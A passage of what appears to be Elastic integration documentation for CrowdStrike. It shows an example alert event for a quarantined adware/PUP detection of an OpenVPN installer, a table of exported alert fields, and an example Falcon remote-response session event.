",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", - "severity": 21, - "type": [ - "start" - ] - }, - "file": { - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" - }, - "host": { - "domain": "ABC.LOCAL", - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "ip": [ - "81.2.69.142" - ], - "mac": [ - "AB-21-48-61-05-B2" - ], - "os": { - "full": "Windows11", - "platform": "Windows", - "type": "windows" - } - }, - "input": { - "type": "cel" - }, - "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "process": { - "end": "2023-11-03T18:00:21.000Z", - "entity_id": "399748687993", - "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "hash": { - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - }, - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "parent": { - "command_line": "C:\\WINDOWS\\Explorer.EXE", - "entity_id": "392736520876", - "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "hash": { - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" - }, - "name": "explorer.exe", - "pid": 392736520876 - }, - "pid": 399748687993, - "start": "2023-11-03T18:00:13.000Z", - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - "related": { - "hash": [ - "b07f77fd3f9828b2c9d61f8a36609741", - "cdf9cfebb400ce89d5b6032bfcdc693b", - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "8cc3fcdd7d52d2d5221303c213e044ae", - "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "0000000000000000000000000000000000000000" - ], - "hosts": [ - "ABC.LOCAL", - "ABC709-1175" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "S-1-5-21-1909377054-3469629671-4104191496-4425", - "yuvraj.mahajan", - "mohit.jha" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "forwarded", - "crowdstrike-alert" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "id": [ - "CSTA0004" - ], - "name": [ - "MachineLearning" - ] - }, - "technique": { - "id": [ - "CST0000" - ], - "name": [ - "Adware/PUP" - ] - } - }, - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } -} -``` - -**Exported fields** - -| Field | Description | Type | -|---|---|---| -| @timestamp | Event timestamp. | date | -| crowdstrike.alert.active_directory_authentication_method | | long | -| crowdstrike.alert.activity.browser | | keyword | -| crowdstrike.alert.activity.device | | keyword | -| crowdstrike.alert.activity.id | | keyword | -| crowdstrike.alert.activity.os | | keyword | -| crowdstrike.alert.agent_id | | keyword | -| crowdstrike.alert.agent_scan_id | | keyword | -| crowdstrike.alert.aggregate_id | | keyword | -| crowdstrike.alert.alert_attributes | | long | -| crowdstrike.alert.alleged_filetype | | keyword | -| crowdstrike.alert.assigned_to.name | | keyword | -| crowdstrike.alert.assigned_to.uid | | keyword | -| crowdstrike.alert.assigned_to.uuid | | keyword | -| crowdstrike.alert.associated_files.filepath | | keyword | -| crowdstrike.alert.associated_files.sha256 | | keyword | -| crowdstrike.alert.child_process_ids | | keyword | -| crowdstrike.alert.cid | | keyword | -| crowdstrike.alert.cloud_indicator | | boolean | -| crowdstrike.alert.cmdline | | keyword | -| crowdstrike.alert.command_line | | keyword | -| crowdstrike.alert.comment | | keyword | -| crowdstrike.alert.composite_id | | keyword | -| crowdstrike.alert.confidence | | long | -| crowdstrike.alert.context_timestamp | | date | -| crowdstrike.alert.control_graph_id | | keyword | -| crowdstrike.alert.crawl_edge_ids.Sensor | | keyword | -| crowdstrike.alert.crawl_vertex_ids.Sensor | | keyword | -| crowdstrike.alert.crawled_timestamp | | date | -| crowdstrike.alert.created_timestamp | | date | -| crowdstrike.alert.data_domains | | keyword | -| crowdstrike.alert.description | | keyword | -| crowdstrike.alert.detect_type | | keyword | -| crowdstrike.alert.device.agent_load_flags | | long | -| crowdstrike.alert.device.agent_local_time | | date | -| crowdstrike.alert.device.agent_version | | keyword | -| crowdstrike.alert.device.bios_manufacturer | | keyword | -| crowdstrike.alert.device.bios_version | | keyword | -| crowdstrike.alert.device.cid | | keyword | -| crowdstrike.alert.device.config_id_base | | keyword | -| crowdstrike.alert.device.config_id_build | | keyword | -| crowdstrike.alert.device.config_id_platform | | long | -| crowdstrike.alert.device.external_ip | | ip | -| crowdstrike.alert.device.first_seen | | date | -| crowdstrike.alert.device.groups | | keyword | -| crowdstrike.alert.device.hostinfo.active_directory_dn_display | | keyword | -| crowdstrike.alert.device.hostinfo.domain | | keyword | -| crowdstrike.alert.device.hostname | | keyword | -| crowdstrike.alert.device.id | | keyword | -| crowdstrike.alert.device.last_seen | | date | -| crowdstrike.alert.device.local_ip | | ip | -| crowdstrike.alert.device.mac_address | | keyword | -| crowdstrike.alert.device.machine_domain | | keyword | -| crowdstrike.alert.device.major_version | | keyword | -| crowdstrike.alert.device.minor_version | | keyword | -| crowdstrike.alert.device.modified_timestamp | | date | -| crowdstrike.alert.device.os_version | | keyword | -| crowdstrike.alert.device.ou | | keyword | -| crowdstrike.alert.device.platform_id | | keyword | -| crowdstrike.alert.device.platform_name | | keyword | -| crowdstrike.alert.device.pod_labels | | keyword | -| crowdstrike.alert.device.product_type | | keyword | -| crowdstrike.alert.device.product_type_desc | | keyword | -| crowdstrike.alert.device.site_name | | keyword | -| crowdstrike.alert.device.status | | keyword | -| crowdstrike.alert.device.system_manufacturer | | keyword | -| crowdstrike.alert.device.system_product_name | | keyword | -| crowdstrike.alert.device.tags | | keyword | -| crowdstrike.alert.display_name | | keyword | -| crowdstrike.alert.documents_accessed.filename | | keyword | -| crowdstrike.alert.documents_accessed.filepath | | keyword | -| crowdstrike.alert.documents_accessed.timestamp | | date | -| crowdstrike.alert.email_sent | | boolean | -| crowdstrike.alert.end_time | | date | -| crowdstrike.alert.event_id | | keyword | -| crowdstrike.alert.executables_written.filename | | keyword | -| crowdstrike.alert.executables_written.filepath | | keyword | -| crowdstrike.alert.executables_written.timestamp | | date | -| crowdstrike.alert.falcon_host_link | | keyword | -| crowdstrike.alert.file_writes.name | | keyword | -| crowdstrike.alert.file_writes.sha256 | | keyword | -| crowdstrike.alert.filename | | keyword | -| crowdstrike.alert.filepath | | keyword | -| crowdstrike.alert.files_accessed.filename | | keyword | -| crowdstrike.alert.files_accessed.filepath | | keyword | -| crowdstrike.alert.files_accessed.timestamp | | date | -| crowdstrike.alert.files_written.filename | | keyword | -| crowdstrike.alert.files_written.filepath | | keyword | -| crowdstrike.alert.files_written.timestamp | | date | -| crowdstrike.alert.global_prevalence | | keyword | -| crowdstrike.alert.grandparent_details.cmdline | | keyword | -| crowdstrike.alert.grandparent_details.filename | | keyword | -| crowdstrike.alert.grandparent_details.filepath | | keyword | -| crowdstrike.alert.grandparent_details.local_process_id | | keyword | -| crowdstrike.alert.grandparent_details.md5 | | keyword | -| crowdstrike.alert.grandparent_details.process_graph_id | | keyword | -| crowdstrike.alert.grandparent_details.process_id | | keyword | -| crowdstrike.alert.grandparent_details.sha256 | | keyword | -| crowdstrike.alert.grandparent_details.timestamp | | date | -| crowdstrike.alert.grandparent_details.user_graph_id | | keyword | -| crowdstrike.alert.grandparent_details.user_id | | keyword | -| crowdstrike.alert.grandparent_details.user_name | | keyword | -| crowdstrike.alert.has_script_or_module_ioc | | boolean | -| crowdstrike.alert.host_name | | keyword | -| crowdstrike.alert.host_type | | keyword | -| crowdstrike.alert.id | | keyword | -| crowdstrike.alert.idp_policy.enforced_externally | | long | -| crowdstrike.alert.idp_policy.mfa_factor_type | | long | -| crowdstrike.alert.idp_policy.mfa_provider | | long | -| crowdstrike.alert.idp_policy.rule_action | | long | -| crowdstrike.alert.idp_policy.rule_id | | keyword | -| crowdstrike.alert.idp_policy.rule_name | | keyword | -| crowdstrike.alert.idp_policy.rule_trigger | | long | -| crowdstrike.alert.image_file_name | | keyword | -| crowdstrike.alert.incident.created | | date | -| crowdstrike.alert.incident.end | | date | -| crowdstrike.alert.incident.id | | keyword | -| crowdstrike.alert.incident.score | | double | -| crowdstrike.alert.incident.start | | date | -| crowdstrike.alert.indicator_id | | keyword | -| crowdstrike.alert.ioc_context.cmdline | | keyword | -| crowdstrike.alert.ioc_context.ioc_description | | keyword | -| crowdstrike.alert.ioc_context.ioc_source | | keyword | -| crowdstrike.alert.ioc_context.ioc_type | | keyword | -| crowdstrike.alert.ioc_context.ioc_value | | keyword | -| crowdstrike.alert.ioc_context.md5 | | keyword | -| crowdstrike.alert.ioc_context.sha256 | | keyword | -| crowdstrike.alert.ioc_context.type | | keyword | -| crowdstrike.alert.ioc_description | | keyword | -| crowdstrike.alert.ioc_source | | keyword | -| crowdstrike.alert.ioc_type | | keyword | -| crowdstrike.alert.ioc_value | | keyword | -| crowdstrike.alert.ioc_values | | keyword | -| crowdstrike.alert.is_synthetic_quarantine_disposition | | boolean | -| crowdstrike.alert.ldap_search_query_attack | | long | -| crowdstrike.alert.local_prevalence | | keyword | -| crowdstrike.alert.local_process_id | | keyword | -| crowdstrike.alert.location_country_code | | keyword | -| crowdstrike.alert.location_latitude_as_int | | long | -| crowdstrike.alert.location_longitude_as_int | | long | -| crowdstrike.alert.logon_domain | | keyword | -| crowdstrike.alert.md5 | | keyword | -| crowdstrike.alert.mitre_attack.pattern_id | | keyword | -| crowdstrike.alert.mitre_attack.tactic | | keyword | -| crowdstrike.alert.mitre_attack.tactic_id | | keyword | -| crowdstrike.alert.mitre_attack.technique | | keyword | -| crowdstrike.alert.mitre_attack.technique_id | | keyword | -| crowdstrike.alert.model_anomaly_indicators | | keyword | -| crowdstrike.alert.name | | keyword | -| crowdstrike.alert.network_accesses.access_timestamp | | date | -| crowdstrike.alert.network_accesses.access_type | | long | -| crowdstrike.alert.network_accesses.connection_direction | | keyword | -| crowdstrike.alert.network_accesses.isIPV6 | | boolean | -| crowdstrike.alert.network_accesses.local_address | | ip | -| crowdstrike.alert.network_accesses.local_port | | long | -| crowdstrike.alert.network_accesses.protocol | | keyword | -| crowdstrike.alert.network_accesses.remote_address | | ip | -| crowdstrike.alert.network_accesses.remote_port | | long | -| crowdstrike.alert.objective | | keyword | -| crowdstrike.alert.operating_system | | keyword | -| crowdstrike.alert.os_name | | keyword | -| crowdstrike.alert.overwatch_note | | keyword | -| crowdstrike.alert.overwatch_note_timestamp | | date | -| crowdstrike.alert.parent_details.cmdline | | keyword | -| crowdstrike.alert.parent_details.filename | | keyword | -| crowdstrike.alert.parent_details.filepath | | keyword | -| crowdstrike.alert.parent_details.local_process_id | | keyword | -| crowdstrike.alert.parent_details.md5 | | keyword | -| crowdstrike.alert.parent_details.process_graph_id | | keyword | -| crowdstrike.alert.parent_details.process_id | | keyword | -| crowdstrike.alert.parent_details.sha256 | | keyword | -| crowdstrike.alert.parent_details.timestamp | | date | -| crowdstrike.alert.parent_details.user_graph_id | | keyword | -| crowdstrike.alert.parent_details.user_id | | keyword | -| crowdstrike.alert.parent_details.user_name | | keyword | -| crowdstrike.alert.parent_process_id | | keyword | -| crowdstrike.alert.pattern_disposition | | long | -| crowdstrike.alert.pattern_disposition_description | | keyword | -| crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled | | boolean | -| crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled | | boolean | -| crowdstrike.alert.pattern_disposition_details.containment_file_system | | boolean | -| crowdstrike.alert.pattern_disposition_details.critical_process_disabled | | boolean | -| crowdstrike.alert.pattern_disposition_details.detect | | boolean | -| crowdstrike.alert.pattern_disposition_details.fs_operation_blocked | | boolean | -| crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded | | boolean | -| crowdstrike.alert.pattern_disposition_details.inddet_mask | | boolean | -| crowdstrike.alert.pattern_disposition_details.indicator | | boolean | -| crowdstrike.alert.pattern_disposition_details.kill_action_failed | | boolean | -| crowdstrike.alert.pattern_disposition_details.kill_parent | | boolean | -| crowdstrike.alert.pattern_disposition_details.kill_process | | boolean | -| crowdstrike.alert.pattern_disposition_details.kill_subprocess | | boolean | -| crowdstrike.alert.pattern_disposition_details.mfa_required | | boolean | -| crowdstrike.alert.pattern_disposition_details.operation_blocked | | boolean | -| crowdstrike.alert.pattern_disposition_details.policy_disabled | | boolean | -| crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled | | boolean | -| crowdstrike.alert.pattern_disposition_details.process_blocked | | boolean | -| crowdstrike.alert.pattern_disposition_details.quarantine_file | | boolean | -| crowdstrike.alert.pattern_disposition_details.quarantine_machine | | boolean | -| crowdstrike.alert.pattern_disposition_details.registry_operation_blocked | | boolean | -| crowdstrike.alert.pattern_disposition_details.response_action_already_applied | | boolean | -| crowdstrike.alert.pattern_disposition_details.response_action_failed | | boolean | -| crowdstrike.alert.pattern_disposition_details.response_action_triggered | | boolean | -| crowdstrike.alert.pattern_disposition_details.rooting | | boolean | -| crowdstrike.alert.pattern_disposition_details.sensor_only | | boolean | -| crowdstrike.alert.pattern_disposition_details.suspend_parent | | boolean | -| crowdstrike.alert.pattern_disposition_details.suspend_process | | boolean | -| crowdstrike.alert.pattern_id | | keyword | -| crowdstrike.alert.platform | | keyword | -| crowdstrike.alert.poly_id | | keyword | -| crowdstrike.alert.prevented | | boolean | -| crowdstrike.alert.process_end_time | | date | -| crowdstrike.alert.process_id | | keyword | -| crowdstrike.alert.process_start_time | | date | -| crowdstrike.alert.product | | keyword | -| crowdstrike.alert.protocol_anomaly_classification | | long | -| crowdstrike.alert.quarantined | | boolean | -| crowdstrike.alert.quarantined_files.filename | | keyword | -| crowdstrike.alert.quarantined_files.id | | keyword | -| crowdstrike.alert.quarantined_files.sha256 | | keyword | -| crowdstrike.alert.quarantined_files.state | | keyword | -| crowdstrike.alert.rule_group_id | | keyword | -| crowdstrike.alert.rule_group_name | | keyword | -| crowdstrike.alert.rule_instance_created_by | | keyword | -| crowdstrike.alert.rule_instance_id | | keyword | -| crowdstrike.alert.rule_instance_name | | keyword | -| crowdstrike.alert.rule_instance_version | | keyword | -| crowdstrike.alert.scan_id | | keyword | -| crowdstrike.alert.scenario | | keyword | -| crowdstrike.alert.seconds_to_resolved | | long | -| crowdstrike.alert.seconds_to_triaged | | long | -| crowdstrike.alert.severity | | long | -| crowdstrike.alert.severity_name | | keyword | -| crowdstrike.alert.sha1 | | keyword | -| crowdstrike.alert.sha256 | | keyword | -| crowdstrike.alert.show_in_ui | | boolean | -| crowdstrike.alert.source.account_azure_id | | keyword | -| crowdstrike.alert.source.account_domain | | keyword | -| crowdstrike.alert.source.account_name | | keyword | -| crowdstrike.alert.source.account_object_guid | | keyword | -| crowdstrike.alert.source.account_object_sid | | keyword | -| crowdstrike.alert.source.account_sam_account_name | | keyword | -| crowdstrike.alert.source.account_upn | | keyword | -| crowdstrike.alert.source.endpoint_account_object_guid | | keyword | -| crowdstrike.alert.source.endpoint_account_object_sid | | keyword | -| crowdstrike.alert.source.endpoint_address_ip4 | | ip | -| crowdstrike.alert.source.endpoint_host_name | | keyword | -| crowdstrike.alert.source.endpoint_ip_address | | ip | -| crowdstrike.alert.source.endpoint_ip_reputation | | long | -| crowdstrike.alert.source.endpoint_sensor_id | | keyword | -| crowdstrike.alert.source.ip_isp_classification | | long | -| crowdstrike.alert.source.ip_isp_domain | | keyword | -| crowdstrike.alert.source_products | | keyword | -| crowdstrike.alert.source_vendors | | keyword | -| crowdstrike.alert.start_time | | date | -| crowdstrike.alert.status | | keyword | -| crowdstrike.alert.tactic | | keyword | -| crowdstrike.alert.tactic_id | | keyword | -| crowdstrike.alert.tags | | keyword | -| crowdstrike.alert.target.account_name | | keyword | -| crowdstrike.alert.target.domain_controller_host_name | | keyword | -| crowdstrike.alert.target.domain_controller_object_guid | | keyword | -| crowdstrike.alert.target.domain_controller_object_sid | | keyword | -| crowdstrike.alert.target.endpoint_account_object_guid | | keyword | -| crowdstrike.alert.target.endpoint_account_object_sid | | keyword | -| crowdstrike.alert.target.endpoint_host_name | | keyword | -| crowdstrike.alert.target.endpoint_sensor_id | | keyword | -| crowdstrike.alert.target.service_access_identifier | | keyword | -| crowdstrike.alert.technique | | keyword | -| crowdstrike.alert.technique_id | | keyword | -| crowdstrike.alert.template_instance_id | | keyword | -| crowdstrike.alert.timestamp | | date | -| crowdstrike.alert.tree_id | | keyword | -| crowdstrike.alert.tree_root | | keyword | -| crowdstrike.alert.triggering_process_graph_id | | keyword | -| crowdstrike.alert.type | | keyword | -| crowdstrike.alert.updated_timestamp | | date | -| crowdstrike.alert.user_id | | keyword | -| crowdstrike.alert.user_name | | keyword | -| crowdstrike.alert.user_principal | | keyword | -| crowdstrike.alert.worker_node_name | | keyword | -| data_stream.dataset | Data stream dataset. | constant_keyword | -| data_stream.namespace | Data stream namespace. | constant_keyword | -| data_stream.type | Data stream type. | constant_keyword | -| event.dataset | Event dataset. | constant_keyword | -| event.module | Event module. | constant_keyword | -| input.type | Type of filebeat input. | keyword | -| log.offset | Log offset. | long | -| tags | List of keywords used to tag each event. | keyword | -| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword | -| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword | -| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword | - - -### Falcon - -This is the `falcon` dataset. - -#### Example - -An example event for `falcon` looks as following: - -```json -{ - "@timestamp": "2023-11-02T13:41:34.000Z", - "agent": { - "ephemeral_id": "8f4a039c-66d4-439c-a43f-c5a95f653dd4", - "id": "67072e92-576d-47d8-8a43-ebb347b4250b", - "name": "elastic-agent-93422", - "type": "filebeat", - "version": "8.18.1" - }, - "crowdstrike": { - "event": { - "AgentIdString": "fffffffff33333", - "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a" - }, - "metadata": { - "customerIDString": "abcabcabc22221", - "eventType": "RemoteResponseSessionStartEvent", - "offset": 1, - "version": "1.0" - } - }, - "data_stream": { - "dataset": "crowdstrike.falcon", - "namespace": "99576", - "type": "logs" - }, - "ecs": { - "version": "8.17.0" - }, - "elastic_agent": { - "id": "67072e92-576d-47d8-8a43-ebb347b4250b", - "snapshot": false, - "version": "8.18.1" - }, - "event": { - "action": [ - "remote_response_session_start_event" - ], - "agent_id_status": "verified", - "category": [ - "network", - "session" - ], - "created": "2023-11-02T13:41:34.000Z", - "dataset": "crowdstrike.falcon", - "ingested": "2025-05-30T08:29:21Z", - "kind": "event", - "original": "{\"event\":{\"AgentIdString\":\"fffffffff33333\",\"HostnameField\":\"UKCHUDL00206\",\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"StartTimestamp\":1698932494,\"UserName\":\"admin.rose@example.com\"},\"metadata\":{\"customerIDString\":\"abcabcabc22221\",\"eventCreationTime\":1698932494000,\"eventType\":\"RemoteResponseSessionStartEvent\",\"offset\":1,\"version\":\"1.0\"}}", - "start": "2023-11-02T13:41:34.000Z", - "type": [ - "start" - ] - }, - "host": { - "name": "UKCHUDL00206" - }, - "input": { - "type": "streaming" - }, - "message": "Remote response session started.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "UKCHUDL00206" - ], - "user": [ - "admin.rose", - "admin.rose@example.com" - ] - }, - "tags": [ - "preserve_original_event", - "forwarded", - "crowdstrike-falcon" - ], - "user": { - "domain": "example.com", - "email": "admin.rose@example.com", - "name": "admin.rose" - } -} -``` - -**Exported fields** - -| Field | Description | Type | -|---|---|---| -| @timestamp | Event timestamp. | date | -| agent.id | Unique identifier of this agent (if one exists). Example: For Beats this would be beat.id. | keyword | -| agent.name | Custom name of the agent. This is a name that can be given to an agent. This can be helpful if for example two Filebeat instances are running on the same host but a human readable separation is needed on which Filebeat instance data is coming from. | keyword | -| agent.type | Type of the agent. The agent type always stays the same and should be given by the agent used. In case of Filebeat the agent would always be Filebeat also if two Filebeat instances are run on the same machine. | keyword | -| agent.version | Version of the agent. | keyword | -| cloud.image.id | Image ID for the cloud instance. | keyword | -| crowdstrike.event.AccountCreationTimeStamp | The timestamp of when the source account was created in Active Directory. | date | -| crowdstrike.event.AccountId | | keyword | -| crowdstrike.event.ActivityId | ID of the activity that triggered the detection. | keyword | -| crowdstrike.event.AddedPrivilege | The difference between their current and previous list of privileges. | keyword | -| crowdstrike.event.AdditionalAccountObjectGuid | Additional involved user object GUID. | keyword | -| crowdstrike.event.AdditionalAccountObjectSid | Additional involved user object SID. | keyword | -| crowdstrike.event.AdditionalAccountUpn | Additional involved user UPN. | keyword | -| crowdstrike.event.AdditionalActivityId | ID of an additional activity related to the detection. | keyword | -| crowdstrike.event.AdditionalEndpointAccountObjectGuid | Additional involved endpoint object GUID. | keyword | -| crowdstrike.event.AdditionalEndpointAccountObjectSid | Additional involved endpoint object SID. | keyword | -| crowdstrike.event.AdditionalEndpointSensorId | Additional involved endpoint agent ID. | keyword | -| crowdstrike.event.AdditionalLocationCountryCode | Additional involved country code. | keyword | -| 